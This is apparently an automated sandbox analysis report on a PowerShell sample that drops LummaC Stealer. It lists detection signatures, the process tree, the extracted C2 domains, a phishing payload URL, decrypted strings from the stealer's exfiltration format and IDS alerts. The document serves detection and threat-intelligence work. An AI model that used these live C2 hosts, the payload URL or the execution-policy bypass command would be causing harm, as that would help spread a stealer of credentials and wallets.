Edit tour

Windows Analysis Report
psol.txt.ps1

Overview

General Information

Sample name:	psol.txt.ps1
Analysis ID:	1561458
MD5:	a08cd6c1b50f050a764180741c3b32c4
SHA1:	8e490919f1fa3ee1a75fd59fa3426d95cc455bd4
SHA256:	47110ef49f5b24c718d63e79c4cbbb0121bdfc4889d42febe5a5409a2f2f3899
Tags:	FakeCaptchaps1user-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

LummaC encrypted strings found

Powershell drops PE file

Sample uses string decryption to hide its real strings

Uses an obfuscated file name to hide its real file extension (double extension)

Binary contains a suspicious time stamp

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries keyboard layouts

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

powershell.exe (PID: 5852 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\psol.txt.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

setup.exe (PID: 2472 cmdline: "C:\Users\user\AppData\Roaming\Extracted1\setup.exe" MD5: AC0571EDB2C48A0AD96316D995E38ABC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["w0rdergen1.cyou", "p3ar11fter.sbs", "processhol.sbs", "p10tgrace.sbs", "3xp3cts1aim.sbs", "peepburry828.sbs"], "Build id": "MeHdy4--pl8vs06"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\Extracted1\resource_\rtl120.bpl	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Roaming\Extracted1\setup.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000003.2697940557.00000000031CF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x511c4:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000005.00000000.2546385365.0000000000401000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
5.0.setup.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Sigma Signatures

System Summary

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\psol.txt.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\psol.txt.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\psol.txt.ps1", ProcessId: 5852, ProcessName: powershell.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5852, TargetFilename: C:\Users\user\AppData\Roaming\Extracted1\libvlccore.dll

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\psol.txt.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\psol.txt.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\psol.txt.ps1", ProcessId: 5852, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:38:45.386812+0100	2028371	3	Unknown Traffic	192.168.2.5	49817	23.55.153.106	443	TCP
2024-11-23T13:38:48.076390+0100	2028371	3	Unknown Traffic	192.168.2.5	49823	172.67.160.80	443	TCP
2024-11-23T13:38:49.220564+0100	2028371	3	Unknown Traffic	192.168.2.5	49829	172.67.160.80	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:38:48.767440+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49823	172.67.160.80	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:38:48.767440+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49823	172.67.160.80	443	TCP

ET MALWARE Observed DNS Query to Lumma Stealer Domain (3xp3cts1aim .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:38:43.148256+0100	2057695	1	A Network Trojan was detected	192.168.2.5	57937	1.1.1.1	53	UDP

ET MALWARE Observed DNS Query to Lumma Stealer Domain (p3ar11fter .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:38:43.527981+0100	2057698	1	A Network Trojan was detected	192.168.2.5	56059	1.1.1.1	53	UDP

ET MALWARE Observed DNS Query to Lumma Stealer Domain (peepburry828 .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:38:42.553738+0100	2057696	1	A Network Trojan was detected	192.168.2.5	58874	1.1.1.1	53	UDP

ET MALWARE Observed DNS Query to Lumma Stealer Domain (processhol .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:38:41.480046+0100	2057697	1	A Network Trojan was detected	192.168.2.5	62687	1.1.1.1	53	UDP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:38:48.076390+0100	2057416	1	Domain Observed Used for C2 Detected	192.168.2.5	49823	172.67.160.80	443	TCP
2024-11-23T13:38:49.220564+0100	2057416	1	Domain Observed Used for C2 Detected	192.168.2.5	49829	172.67.160.80	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (3xp3cts1aim .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:38:43.148256+0100	2057652	1	Domain Observed Used for C2 Detected	192.168.2.5	57937	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (befall-sm0ker .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:38:41.950933+0100	2057654	1	Domain Observed Used for C2 Detected	192.168.2.5	63153	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (librari-night .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:38:41.711787+0100	2057658	1	Domain Observed Used for C2 Detected	192.168.2.5	63404	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (marshal-zhukov .com)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:38:46.624130+0100	2057415	1	Domain Observed Used for C2 Detected	192.168.2.5	58971	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (owner-vacat10n .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:38:42.801407+0100	2057660	1	Domain Observed Used for C2 Detected	192.168.2.5	56245	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (p10tgrace .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:38:42.181158+0100	2057662	1	Domain Observed Used for C2 Detected	192.168.2.5	64103	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (p3ar11fter .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:38:43.527981+0100	2057664	1	Domain Observed Used for C2 Detected	192.168.2.5	56059	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (peepburry828 .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:38:42.553738+0100	2057666	1	Domain Observed Used for C2 Detected	192.168.2.5	58874	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (processhol .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:38:41.480046+0100	2057668	1	Domain Observed Used for C2 Detected	192.168.2.5	62687	1.1.1.1	53	UDP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:38:46.395983+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	49817	23.55.153.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://marshal-zhukov.com/apie;	Avira URL Cloud: Label: malware
Source: https://p10tgrace.sbs:443/api	Avira URL Cloud: Label: malware
Source: https://owner-vacat10n.sbs:443/api	Avira URL Cloud: Label: malware
Source: https://pub-7a0525921ff54f1193db83d7303c6ee8.r2.dev/poltos.zip	Avira URL Cloud: Label: phishing
Source: https://p3ar11fter.sbs:443/api-	Avira URL Cloud: Label: malware
Source: https://marshal-zhukov.com/api&;	Avira URL Cloud: Label: malware

Found malware configuration

Source: setup.exe.2472.5.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["w0rdergen1.cyou", "p3ar11fter.sbs", "processhol.sbs", "p10tgrace.sbs", "3xp3cts1aim.sbs", "peepburry828.sbs"], "Build id": "MeHdy4--pl8vs06"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe

ReversingLabs: Detection: 34%

Multi AV Scanner detection for submitted file

Source: psol.txt.ps1

ReversingLabs: Detection: 13%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.2% probability

Sample uses string decryption to hide its real strings

Source: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp	String decryptor: p3ar11fter.sbs
Source: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp	String decryptor: 3xp3cts1aim.sbs
Source: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp	String decryptor: peepburry828.sbs
Source: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp	String decryptor: p10tgrace.sbs
Source: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp	String decryptor: processhol.sbs
Source: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp	String decryptor: w0rdergen1.cyou
Source: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -

Source: unknown	HTTPS traffic detected: 172.66.0.235:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.5:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.160.80:443 -> 192.168.2.5:49823 version: TLS 1.2

Source:	Binary string: D:\a\1\s\src\AdonisUI\obj\Release\net45\AdonisUI.pdbSHA256 source: powershell.exe, 00000000.00000002.2554907242.000001E72DB90000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\s\src\AdonisUI.ClassicTheme\obj\Release\net45\AdonisUI.ClassicTheme.pdb source: powershell.exe, 00000000.00000002.2554907242.000001E72DB4C000.00000004.00000800.00020000.00000000.sdmp, AdonisUI.ClassicTheme.dll.0.dr
Source:	Binary string: D:\a\1\s\src\AdonisUI.ClassicTheme\obj\Release\net45\AdonisUI.ClassicTheme.pdbSHA256a source: powershell.exe, 00000000.00000002.2554907242.000001E72DB4C000.00000004.00000800.00020000.00000000.sdmp, AdonisUI.ClassicTheme.dll.0.dr
Source:	Binary string: D:\a\1\s\src\AdonisUI\obj\Release\net45\AdonisUI.pdb source: powershell.exe, 00000000.00000002.2554907242.000001E72DB90000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\dev\sqlite\dotnet-private\bin\2015\Win32\ReleaseNativeOnlyStatic\SQLite.Interop.pdb source: powershell.exe, 00000000.00000002.2554907242.000001E72BE7A000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then cmp dword ptr [esi+edi*8], AF0E0C2Eh	5_2_0234F377
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+6C9BFD46h]	5_2_0234F377
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then mov dword ptr [esp+04h], esi	5_2_0231F38D
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then inc eax	5_2_02332857
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+000001F0h]	5_2_0231F057
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+000001F0h]	5_2_023200FB
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx-2E5CCB3Ah]	5_2_023538E7
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+3C5A9263h]	5_2_0231F93F
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	5_2_023139A7
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then jmp edx	5_2_023169AD
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then cmp al, 20h	5_2_023141CE
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then mov ebx, ecx	5_2_0231D637
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+ecx+5358945Bh]	5_2_0233FE17
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then mov byte ptr [edi], dl	5_2_0233FE17
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+ecx+45h]	5_2_02315E67
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then mov edx, dword ptr [ecx+esi+3Ch]	5_2_0234EE47
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then mov dword ptr [esi], FFFFFFFFh	5_2_02313E47
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 61813E67h	5_2_0233AE97
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 61813E67h	5_2_0233AE97
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx edx, byte ptr [ecx+esi]	5_2_02314727
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then mov edx, eax	5_2_0232AF57
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then cmp ecx, 02h	5_2_023197C7
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then mov eax, ebp	5_2_02317C27
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then mov eax, ebp	5_2_02317C27
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then add esi, edi	5_2_0234C467
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax]	5_2_02352D77
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+01AFCF4Ch]	5_2_0231CDA7
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then add esi, edi	5_2_02CCA9D0
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx-2E5CCB3Ah]	5_2_02CD1E50
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+000001F0h]	5_2_02C9E664
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax]	5_2_02CD12E0
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx ecx, byte ptr [edi+eax]	5_2_02CAB2A3
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then mov ebx, ecx	5_2_02C9BBCF
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then mov ecx, dword ptr [esi+08h]	5_2_02CA9BC5
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+ecx+45h]	5_2_02C943D0
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+ecx+5358945Bh]	5_2_02CBE380
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then mov byte ptr [edi], dl	5_2_02CBE380
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then mov ebx, ecx	5_2_02C9BBA0
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then mov dword ptr [esi], FFFFFFFFh	5_2_02C923B0
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then mov edx, dword ptr [ecx+esi+3Ch]	5_2_02CCD3B0
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+01AFCF4Ch]	5_2_02C9B310
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then cmp dword ptr [esi+edi*8], AF0E0C2Eh	5_2_02CCD8E0
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+6C9BFD46h]	5_2_02CCD8E0
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then mov dword ptr [esp+04h], esi	5_2_02C9D8F6
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then mov word ptr [eax], dx	5_2_02CA91D1
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then mov eax, ebp	5_2_02C96190
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then mov eax, ebp	5_2_02C96190
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx edi, byte ptr [ebx+ecx]	5_2_02CAB108
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+3C5A9263h]	5_2_02C9DEA8
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then mov ecx, eax	5_2_02CABE0E
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	5_2_02C91F10
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then jmp edx	5_2_02C94F16
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then cmp al, 20h	5_2_02C92737
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ecx-054FE7FCh]	5_2_02CAACCD
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then mov edx, eax	5_2_02CA94C0
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx edx, byte ptr [ecx+esi]	5_2_02C92C90
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx ecx, byte ptr [ebx+eax+288697BFh]	5_2_02CABCB6
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 61813E67h	5_2_02CB9400
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 61813E67h	5_2_02CB9400
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+000001F0h]	5_2_02C9D5C0
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then inc eax	5_2_02CB0DC0
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 4x nop then cmp ecx, 02h	5_2_02C97D30

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057662 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (p10tgrace .sbs) : 192.168.2.5:64103 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057668 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (processhol .sbs) : 192.168.2.5:62687 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057415 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (marshal-zhukov .com) : 192.168.2.5:58971 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057666 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (peepburry828 .sbs) : 192.168.2.5:58874 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057416 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI) : 192.168.2.5:49829 -> 172.67.160.80:443
Source: Network traffic	Suricata IDS: 2057696 - Severity 1 - ET MALWARE Observed DNS Query to Lumma Stealer Domain (peepburry828 .sbs) : 192.168.2.5:58874 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057697 - Severity 1 - ET MALWARE Observed DNS Query to Lumma Stealer Domain (processhol .sbs) : 192.168.2.5:62687 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057660 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (owner-vacat10n .sbs) : 192.168.2.5:56245 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057416 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI) : 192.168.2.5:49823 -> 172.67.160.80:443
Source: Network traffic	Suricata IDS: 2057652 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (3xp3cts1aim .sbs) : 192.168.2.5:57937 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057695 - Severity 1 - ET MALWARE Observed DNS Query to Lumma Stealer Domain (3xp3cts1aim .sbs) : 192.168.2.5:57937 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057664 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (p3ar11fter .sbs) : 192.168.2.5:56059 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057698 - Severity 1 - ET MALWARE Observed DNS Query to Lumma Stealer Domain (p3ar11fter .sbs) : 192.168.2.5:56059 -> 1.1.1.1:53
